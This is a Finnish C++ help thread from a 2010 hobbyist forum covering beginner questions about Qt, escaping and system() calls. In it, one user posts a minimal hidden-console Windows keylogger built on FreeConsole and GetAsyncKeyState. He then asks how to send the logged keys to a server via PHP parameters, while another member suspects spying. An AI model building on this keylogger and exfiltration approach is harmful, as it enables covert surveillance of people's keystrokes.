C++ -kysymykset

Muu yhteisön välinen keskustelu.
User avatar
valscion
Moderator
Moderator
Posts: 1596
Joined: Thu Dec 06, 2007 8:46 pm
Location: Espoo
Contact:

Re: C++ -kysymykset

Post by valscion » Wed Sep 15, 2010 4:37 pm

legend wrote:äähh.. Mikään ei onnistu :evil:
Nyt kun yritän tehdä jotain yksinkertaista, eli ohjelmaa joka käynnistäisi flash sovelluksen, mutta koko ajan tulee errori "ei ole tiedostopolkua".
Esimerkki voisi olla paikallaan tai hyvät ohjeet..
koodin pätkä :oops:

Code: Select all

int QProcess::execute("c:\testi.swf");
Koitas isolla C-kirjaimella, kun asemien tunnukset on isolla. En tiiä vaikuttaako tuo wintoosan puolella tosin asiaan.
cbEnchanted, uudelleenkirjoitettu runtime. Uusin versio: 0.4.1 — Nyt myös sorsat GitHubissa!
NetMatch - se kunnon nettimättö-deathmatch! Avoimella lähdekoodilla varustettu
vesalaakso.com

User avatar
temu92
Web Developer
Web Developer
Posts: 1226
Joined: Mon Aug 27, 2007 9:56 pm
Location: Gamindustri
Contact:

Re: C++ -kysymykset

Post by temu92 » Wed Sep 15, 2010 4:40 pm

\-merkki pitää escapettaa lainausmerkeissä.

Code: Select all

int QProcess::execute("C:\\testi.swf");
Jos tuo ei toimi niin en osaa sanoa vikaa :P

User avatar
legend
Advanced Member
Posts: 371
Joined: Wed Nov 18, 2009 9:06 pm

Re: C++ -kysymykset

Post by legend » Wed Sep 15, 2010 9:02 pm

temu92 wrote:\-merkki pitää escapettaa lainausmerkeissä.

Code: Select all

int QProcess::execute("C:\\testi.swf");
Jos tuo ei toimi niin en osaa sanoa vikaa :P
Eipä toimi :( :(

DJ-Filbe
Devoted Member
Posts: 854
Joined: Sat Feb 20, 2010 3:18 pm

Re: C++ -kysymykset

Post by DJ-Filbe » Wed Sep 15, 2010 9:43 pm

legend wrote:
temu92 wrote:\-merkki pitää escapettaa lainausmerkeissä.

Code: Select all

int QProcess::execute("C:\\testi.swf");
Jos tuo ei toimi niin en osaa sanoa vikaa :P
Eipä toimi :( :(
Kokeile jotain muuta komentoa. Vaikka System() :ä.
system("flaessi.swf");

User avatar
esa94
Guru
Posts: 1855
Joined: Tue Sep 04, 2007 5:35 pm

Re: C++ -kysymykset

Post by esa94 » Wed Sep 15, 2010 10:21 pm

DJ-Filbe wrote:Kokeile jotain muuta komentoa. Vaikka System() :ä.
system("flaessi.swf");
*pök*

system ei ole alustariippumaton. system("flaessi.swf") ei käsittääkseni toimisi ainakaan linux-alustalla.

Periaatteessa mitä sä haluat tehdä on etsiä joku komento joka suorittaa ohjelman tiedostopäätteen tai muun assosiaation perusteella.

DJ-Filbe
Devoted Member
Posts: 854
Joined: Sat Feb 20, 2010 3:18 pm

Re: C++ -kysymykset

Post by DJ-Filbe » Thu Sep 16, 2010 4:51 pm

Heitänpä tässä itse kymysyksen:
Miten tarkkailen tietokoneen näppäimistötapahtumia C++ -ohjelmalla ilman että näkyvillä on minkään valtakunnan ikkunaa?

User avatar
esa94
Guru
Posts: 1855
Joined: Tue Sep 04, 2007 5:35 pm

Re: C++ -kysymykset

Post by esa94 » Thu Sep 16, 2010 4:56 pm

DJ-Filbe wrote:Heitänpä tässä itse kymysyksen:
Miten tarkkailen tietokoneen näppäimistötapahtumia C++ -ohjelmalla ilman että näkyvillä on minkään valtakunnan ikkunaa?
Mikä alusta?

Henkru
Advanced Member
Posts: 359
Joined: Sun Aug 26, 2007 2:46 pm

Re: C++ -kysymykset

Post by Henkru » Thu Sep 16, 2010 4:59 pm

Keyloggereita löytynee ihan googlella ja sitten tiettyjä hakusanoja lisäämällä löytynee ihan lähdekoodeinakin. Joista voi asioita selvitellä.

DJ-Filbe
Devoted Member
Posts: 854
Joined: Sat Feb 20, 2010 3:18 pm

Re: C++ -kysymykset

Post by DJ-Filbe » Thu Sep 16, 2010 5:20 pm

Löytyi :)
Muiden iloksi laitan pohjan tänne:

Code: Select all

#include <stdio.h>
#include <Windows.h>
#include <iostream>
#include <fstream>
#include <string>
using namespace std;
int main() {
    system("title System kb data");
    FreeConsole();
    string log;
    while(true) {
        if (GetAsyncKeyState(0x41)) {
            cout <<"a";
            log+="a";
            Sleep(200);
        }
    }
    return 0;
}
Niin ja koodista huomannee että windowsille on...

User avatar
esa94
Guru
Posts: 1855
Joined: Tue Sep 04, 2007 5:35 pm

Re: C++ -kysymykset

Post by esa94 » Thu Sep 16, 2010 5:31 pm

DJ-Filbe wrote:Löytyi :)
Muiden iloksi laitan pohjan tänne:

Code: Select all

#include <stdio.h>
#include <Windows.h>
#include <iostream>
#include <fstream>
#include <string>
using namespace std;
int main() {
    system("title System kb data");
    FreeConsole();
    string log;
    while(true) {
        if (GetAsyncKeyState(0x41)) {
            cout <<"a";
            log+="a";
            Sleep(200);
        }
    }
    return 0;
}
Niin ja koodista huomannee että windowsille on...
Ai, kappas, se osaa jopa tarkistaa onko a-näppäin pohjassa? Sepä kätevää.

...Minkä takia sisällytät fstreamin?

DJ-Filbe
Devoted Member
Posts: 854
Joined: Sat Feb 20, 2010 3:18 pm

Re: C++ -kysymykset

Post by DJ-Filbe » Thu Sep 16, 2010 6:12 pm

esa94 wrote:
DJ-Filbe wrote:Löytyi :)
Muiden iloksi laitan pohjan tänne:

Code: Select all

#include <stdio.h>
#include <Windows.h>
#include <iostream>
#include <fstream>
#include <string>
using namespace std;
int main() {
    system("title System kb data");
    FreeConsole();
    string log;
    while(true) {
        if (GetAsyncKeyState(0x41)) {
            cout <<"a";
            log+="a";
            Sleep(200);
        }
    }
    return 0;
}
Niin ja koodista huomannee että windowsille on...
Ai, kappas, se osaa jopa tarkistaa onko a-näppäin pohjassa? Sepä kätevää.

...Minkä takia sisällytät fstreamin?
Älä kysy multa, toi on netistä kopioitua ja lyhennettyä koodia, enkä äkkiseltään osaa sanoa mitä kirjastoja ei tarvitse (olen C++ :ssa aloittelija).

User avatar
legend
Advanced Member
Posts: 371
Joined: Wed Nov 18, 2009 9:06 pm

Re: C++ -kysymykset

Post by legend » Thu Sep 16, 2010 7:43 pm

Nyt kun olen epäonnistunut kaikessa, tarvitsen kaiken avun :D

Voisiko joku näyttää/tehdä/opastaa/kerto c++ esimerkin (joka toimii symbian 60 5th (touch) alustalla), jossa piirretäään yksikertaisesti joku kuva ja sitten kun sitä painaa se katoaa.
Nyt muuten tajuan coolbasicin hienoudet, paljon esimerkkejä jotka toimivat.
C++ (qt nokia) ei ole paljoja esimerkkejä, vaikka miten piirretään kuva ja siiten kun netistä sellaisen löytää, ilmee joku error.
EDIT:

oho, en huomannutkaan Nokia QT dev foorumia, joten kysäsempä sieltä...

Last edited by legend on Fri Sep 17, 2010 10:09 am, edited 1 time in total.

User avatar
esa94
Guru
Posts: 1855
Joined: Tue Sep 04, 2007 5:35 pm

Re: C++ -kysymykset

Post by esa94 » Thu Sep 16, 2010 10:55 pm

legend wrote:Nyt kun olen epäonnistunut kaikessa, tarvitsen kaiken avun :D

Voisiko joku näyttää/tehdä/opastaa/kerto c++ esimerkin (joka toimii symbian 60 5th (touch) alustalla), jossa piirretäään yksikertaisesti joku kuva ja sitten kun sitä painaa se katoaa.
Nyt muuten tajuan coolbasicin hienoudet, paljon esimerkkejä jotka toimivat.
C++ (qt nokia) ei ole paljoja esimerkkejä, vaikka miten piirretään kuva ja siiten kun netistä sellaisen löytää, ilmee joku error.
Kokeile kysyä qt:n dev-foorumeilla..?

DJ-Filbe
Devoted Member
Posts: 854
Joined: Sat Feb 20, 2010 3:18 pm

Re: C++ -kysymykset

Post by DJ-Filbe » Fri Sep 17, 2010 9:21 pm

Mitenkä menis tiedon kirjoittaminen palvelimelle (php-parametrien avulla(?))
Ei, kukaan ei arvaa mitä tässä ollaan tekemässä varsinkaan edellisten viestien perusteella :)

Henkru
Advanced Member
Posts: 359
Joined: Sun Aug 26, 2007 2:46 pm

Re: C++ -kysymykset

Post by Henkru » Sat Sep 18, 2010 1:13 pm

Kvg. Jotakin oma-aloitteelisuutta kiitos. Melkein tekisi mieli olla neuvomatta, kun käyttötarkoitukset tuskin ovat järkevät. Sinun web-sivuilla ei saa tehdä mitään, mutta sinä saat urkkia muita ihan hyvin...

Mutta asiaan, WinSocket:lla (olettaen, että alusta on windows) kikkailet HTTP-kutsun ja tosiaan kvg.

DJ-Filbe
Devoted Member
Posts: 854
Joined: Sat Feb 20, 2010 3:18 pm

Re: C++ -kysymykset

Post by DJ-Filbe » Sat Sep 18, 2010 1:25 pm

Henkru wrote:Kvg. Jotakin oma-aloitteelisuutta kiitos. Melkein tekisi mieli olla neuvomatta, kun käyttötarkoitukset tuskin ovat järkevät.
Mutta asiaan, WinSocket:lla (olettaen, että alusta on windows) kikkailet HTTP-kutsun ja tosiaan kvg.
Kiitos vinkistä!
Henkru wrote: Sinun web-sivuilla ei saa tehdä mitään, mutta sinä saat urkkia muita ihan hyvin...
En ole urkkimassa ketään. Se on rikollista ja siitä saa ties mitä sakkoja...

DJ-Filbe
Devoted Member
Posts: 854
Joined: Sat Feb 20, 2010 3:18 pm

Re: C++ -kysymykset

Post by DJ-Filbe » Sat Sep 18, 2010 2:20 pm

Anteeksi tuplapostaus.
Heitän edellisestä melko paljon poikkeavan kysymyksen:
Miten saan kutsuttua:
system("start [http-osoitemuuttuja]");
eli miten liitän muuttujan arvon tuohon? C++ kun ei tue sitä suoraan näin:
system("start "+osoite);

Henkru
Advanced Member
Posts: 359
Joined: Sun Aug 26, 2007 2:46 pm

Re: C++ -kysymykset

Post by Henkru » Sat Sep 18, 2010 3:18 pm

Oisko.

Code: Select all

std::string a = "blaablaa"+"plööö";
system(a.c_str());

DJ-Filbe
Devoted Member
Posts: 854
Joined: Sat Feb 20, 2010 3:18 pm

Re: C++ -kysymykset

Post by DJ-Filbe » Sat Sep 18, 2010 4:01 pm

Henkru wrote:Oisko.

Code: Select all

std::string a = "blaablaa"+"plööö";
system(a.c_str());
php-parametrit eivät toimi tuon kanssa. Pitäisi saada muuttujan arvo vietyä php-parametrinä...

TheFish
Developer
Developer
Posts: 477
Joined: Mon Aug 27, 2007 9:28 pm
Location: Joensuu

Re: C++ -kysymykset

Post by TheFish » Sat Sep 18, 2010 4:09 pm

DJ-Filbe wrote:
Henkru wrote:Oisko.

Code: Select all

std::string a = "blaablaa"+"plööö";
system(a.c_str());
php-parametrit eivät toimi tuon kanssa. Pitäisi saada muuttujan arvo vietyä php-parametrinä...
Testaa laittaa osoitteen ympärille lainausmerkit tai laittaa kenoviiva &-merkkien eteen.
CoolBasic henkilökuntaa
Kehittäjä

Post Reply